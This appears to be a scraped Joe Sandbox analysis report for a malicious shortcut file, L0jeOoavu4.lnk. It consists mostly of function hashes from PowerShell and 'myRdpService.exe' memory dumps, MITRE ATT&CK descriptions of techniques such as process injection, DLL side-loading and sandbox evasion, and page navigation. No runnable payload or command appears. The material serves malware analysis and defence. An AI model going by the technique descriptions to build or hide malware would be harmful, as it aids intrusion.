Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 988f8d0b6deadc39a1570e6a0daa34f78f803a5a57d4a8099c9c0e40586b524e
Instruction ID: 7b26befce077ce0caecf3108e2a6ea43280fa03f64da2cae00ea36dd2437e790
Opcode Fuzzy Hash: 988f8d0b6deadc39a1570e6a0daa34f78f803a5a57d4a8099c9c0e40586b524e
Instruction Fuzzy Hash: B0414A21C0C6D98FE715C62448D9BBDBBE0AF12319F2802BEC6D9971C2C969B40AC391

Function 00007FF9D39B6D9C Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

X.nX, xrefs: 00007FF9D39B6E98

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: X.nX
API String ID: 0-2212498516
Opcode ID: b1c348e7da32c491e9e6c14757e067386241118a227de0698bd79ec308b66986
Instruction ID: cc5bf903d18a680d793737f13d9930d797b23bb4b2f75bf336020c19a7b58e1e
Opcode Fuzzy Hash: b1c348e7da32c491e9e6c14757e067386241118a227de0698bd79ec308b66986
Instruction Fuzzy Hash: B641F33190C6C94FDB62DB288855BDABBE1FF56310F1442BBD08DD31D6CA68B8058381

Function 00007FF9D39B6EF8 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF9D39B6FCE

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c6894eb1b748f5bf1bb84f8c9b50f1e9eb9f2b61302407476e240fcd55ccefa6
Instruction ID: 4ff6af4617d64590bbf7a7d154c35339e614aa61e342ad6e3cab93da389d367d
Opcode Fuzzy Hash: c6894eb1b748f5bf1bb84f8c9b50f1e9eb9f2b61302407476e240fcd55ccefa6
Instruction Fuzzy Hash: 73313A24C0C6998BE755CA2858D6BFDBBE0EF41329F24037ED5DDA71C2CA79B4168341

Function 00007FF9D39B6F11 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF9D39B6FCE

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 5877cf4f2baf1535769fab0f3e13277b7b99ad4cf11217f76521cd7617eebe2b
Instruction ID: b936e62aac6a91f19ad571559f149e868c7d3ca71b75b2a553878fc10af944e8
Opcode Fuzzy Hash: 5877cf4f2baf1535769fab0f3e13277b7b99ad4cf11217f76521cd7617eebe2b
Instruction Fuzzy Hash: F5212B24C0C6998AE759CA189CC5BFCB7E0EF5131AF24037ED6DDA71C2CA79B5168341

Function 00007FF9D39B5B51 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

x6mX, xrefs: 00007FF9D39B5B87

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: x6mX
API String ID: 0-449446497
Opcode ID: 784dbf7cad9aae2c18569025be848091e5dafb2f144a3aeaa6153869cf6167ad
Instruction ID: 6857bdc6b0ba4cbfd8b31590396ea4d776e693e8f7977398db905a08f7c5af46
Opcode Fuzzy Hash: 784dbf7cad9aae2c18569025be848091e5dafb2f144a3aeaa6153869cf6167ad
Instruction Fuzzy Hash: 2301FC6580EBC24FD353D77C54565A5BFD0DF5613031886FFC0C9CB097D95858868396

Function 00007FF9D39B5B70 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

x6mX, xrefs: 00007FF9D39B5B87

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: x6mX
API String ID: 0-449446497
Opcode ID: 7e18bc24e287a6bd3473c4558d302e40625a0902ec10b227c5c7819a9624497c
Instruction ID: 6f5a12f18d47b6b4bea754995edd264373cc53b0192582ad063f6158b611308b
Opcode Fuzzy Hash: 7e18bc24e287a6bd3473c4558d302e40625a0902ec10b227c5c7819a9624497c
Instruction Fuzzy Hash: E7F0E92090DE454FD395EB7C10465AAB7D0DF5923031486BFC08DC3155DA6868464780

Function 00007FF9D39B5D10 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a96ce485f1e0bd1ff5f43081650c6f68c6aebacc08147700a62ef015ee2bf9
Instruction ID: cbe8d651e043e3c535458627cadcea1eac6cf8ed1dcd0dcb1e959988622fc4ae
Opcode Fuzzy Hash: 63a96ce485f1e0bd1ff5f43081650c6f68c6aebacc08147700a62ef015ee2bf9
Instruction Fuzzy Hash: A4611731E1CA4A8BEF65D6344899BBDF6D1EFA1329F60017ED18EE35C2DDA4B8418740

Function 00007FF9D39B5BBD Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79913828322c8b8afa8cb3780544667cd9a460e914c2885075ec2a54b88389bd
Instruction ID: ef4fc3cc753431ef82a3deb56ff928c6bfd7ae77e0129af7fba0925550a2bd3f
Opcode Fuzzy Hash: 79913828322c8b8afa8cb3780544667cd9a460e914c2885075ec2a54b88389bd
Instruction Fuzzy Hash: 94514831C0DB888FE755DB68988A6BCBFA0EF66325F1801BFC089D7187DA646805C751

Function 00007FF9D39B93F2 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f798f14b2e7f173f3af0a384c4eefdb8731c736e340c9aeb664c28f7fd8924
Instruction ID: ab15d826c55b294c08de01f35b2ec0981eebf0c671c254ed9e74f4b465ebcdeb
Opcode Fuzzy Hash: 75f798f14b2e7f173f3af0a384c4eefdb8731c736e340c9aeb664c28f7fd8924
Instruction Fuzzy Hash: E2419231A2C9098BDB99E728C495AFDF3E2EF68311F5041BED14ED3582DE74B9458B80

Function 00007FF9D39B6AA0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45ecbcd9d593af2fd6c83d5417a3c6654313fdfcd14ad1cd783aeaf27fcb67d
Instruction ID: 453600eded1c85c83fe494e36c235ca33e3ed3a00a652a1b0ca5824d490d8637
Opcode Fuzzy Hash: c45ecbcd9d593af2fd6c83d5417a3c6654313fdfcd14ad1cd783aeaf27fcb67d
Instruction Fuzzy Hash: D951D23190CA5ECAEB64DF089885BECBBF0FF14316F1081AED18DE3141DAB5B9458B80

Function 00007FF9D39B6A7C Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef399231e54e61c7ff62530b13009ab743244bcd43ac4bc6af49d5ea88682580
Instruction ID: b3e7a5a03ec1f7aa711b24968590a73038016c11905546b7ecd5dcbd6f54aabd
Opcode Fuzzy Hash: ef399231e54e61c7ff62530b13009ab743244bcd43ac4bc6af49d5ea88682580
Instruction Fuzzy Hash: 4D31A53190C91D8AEB65DB08D885BEDB7B0FF54315F1082AAD18DE3151DEB4B9858F81

Function 00007FF9D39B6AE3 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f30b3d4dcd73e28f1a7869131344dbea8c3e99039a3354ee364ab811279fb02
Instruction ID: c7d8a3821928f6c80adb1143c5e123cc9be7cfe8d334dcbd9ec00cc12bfe73c2
Opcode Fuzzy Hash: 3f30b3d4dcd73e28f1a7869131344dbea8c3e99039a3354ee364ab811279fb02
Instruction Fuzzy Hash: 48319331A0CA1D8BDF55DB08D885BE9B3B1FF64311F10829AD14EA3251DEB4BA85CF81

Function 00007FF9D39B97E9 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3b3a77610b1a93c5884beca2d6c9a5c061de9d116d940baa1fb2e6e684748b
Instruction ID: 518c9c4c360caca6a84485b80a939e41024063526fd7bb89dcb5cf3b2c9d43f0
Opcode Fuzzy Hash: 0a3b3a77610b1a93c5884beca2d6c9a5c061de9d116d940baa1fb2e6e684748b
Instruction Fuzzy Hash: 0031523161C7858FD790DB78C48976AFBE0EB99315F144A7FE089C3252DAA4E8858742

Function 00007FF9D39B52D8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3fc3943c69fa384d606c1d7505ffdad0a2c7f774169b921dd0758a955ea1294
Instruction ID: 4fa1960c2a0029f15ef04beafc5de89b55da2da6ed03f809f1bc5922080da08b
Opcode Fuzzy Hash: f3fc3943c69fa384d606c1d7505ffdad0a2c7f774169b921dd0758a955ea1294
Instruction Fuzzy Hash: FB216230A0850A8BEFA8D6298499FBDF6E1EF65725F60023ED18BE35C2DD6478418741

Function 00007FF9D39B9800 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da43089714e8f4d0ea48dbd77efe91fa67065bc477e6183e5a1d657c71be073d
Instruction ID: ed5489aa2db3ac1d0db70964abed66f71676f8845948d1c1e40769cad159bf5c
Opcode Fuzzy Hash: da43089714e8f4d0ea48dbd77efe91fa67065bc477e6183e5a1d657c71be073d
Instruction Fuzzy Hash: 18117731718B498FD790EB78C48CA6AF7D1EB99355B104A3FD449C3265DE74E480C781

Function 00007FF9D39B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction ID: 82a62434426bb83437775ffb93b6c676438d5f57da5d338ab0321b18851f8213
Opcode Fuzzy Hash: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction Fuzzy Hash: 0901677111CB0C8FD744EF1CE491AA6B7E0FB95324F50056EE58AC3651DB36E892CB45

Analysis Process: myRdpService.exePID: 4836, Parent PID: 908COMMON

Non-executed Functions

Function 00007FF6BCB3DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6BCB3DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF6BCB3DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF6BCB3DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF6BCB3DB56

Memory Dump Source

Source File: 0000002E.00000002.291515586113.00007FF6BCA81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6BCA80000, based on PE: true

Associated: 0000002E.00000002.291515514900.00007FF6BCA80000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291517225825.00007FF6BCF86000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291517811491.00007FF6BD148000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291517811491.00007FF6BD28A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291517811491.00007FF6BD28C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519015578.00007FF6BD4E0000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519092992.00007FF6BD4E2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519092992.00007FF6BD4EC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519092992.00007FF6BD4FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519092992.00007FF6BD500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519092992.00007FF6BD503000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519092992.00007FF6BD505000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.291519580113.00007FF6BD508000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_7ff6bca80000_myRdpService.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction ID: 973bfb3f013a1c177d239b9332b62329433a5eae59f4564f453e64ab11f99892
Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction Fuzzy Hash: E8115A22B14F028AEB08DF64E8542B833A4FB59758F440E31EB6D8A7A4EF38D1958740

Analysis Process: powershell.exePID: 8924, Parent PID: 8904COMMON

Executed Functions

Function 00007FF9D3A90450 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.291395272861.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107b88224f639c23ce05c03beba19033fe8448db8d98730e9003f506480ffe00
Instruction ID: 2000345c0a51f28627c2939597ba5d1a3c44f68d75a055e736b0525d604c7775
Opcode Fuzzy Hash: 107b88224f639c23ce05c03beba19033fe8448db8d98730e9003f506480ffe00
Instruction Fuzzy Hash: F0715571A0CA5D4FDB94EB688848AB9BBE0FF99311F5441BFE44CD3182EE69E804C351

Function 00007FF9D39C34B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.291393625358.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction ID: 88fa6663bb5c3081ae36400b46360d528a2f9d4c988b3a6848678a97677fe4aa
Opcode Fuzzy Hash: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction Fuzzy Hash: 0F01447111CB088FD744EF1CE451AA5B7E0FB95324F10056EE58AC3651DA26E892CB45

Analysis Process: powershell.exePID: 7844, Parent PID: 9020COMMON

Executed Functions

Function 00007FF9D39A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000037.00000002.291502034247.00007FF9D39A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_7ff9d39a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
Instruction ID: cfa2834c264c21e6c212a5652d43adf8b25e79fc07d4c3487e5133b9ecb2f3ed
Opcode Fuzzy Hash: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
Instruction Fuzzy Hash: E301677111CB0C8FD744EF1CE451AA5B7E0FB95324F50056EE58AC3651DB36E892CB45

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report L0jeOoavu4.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

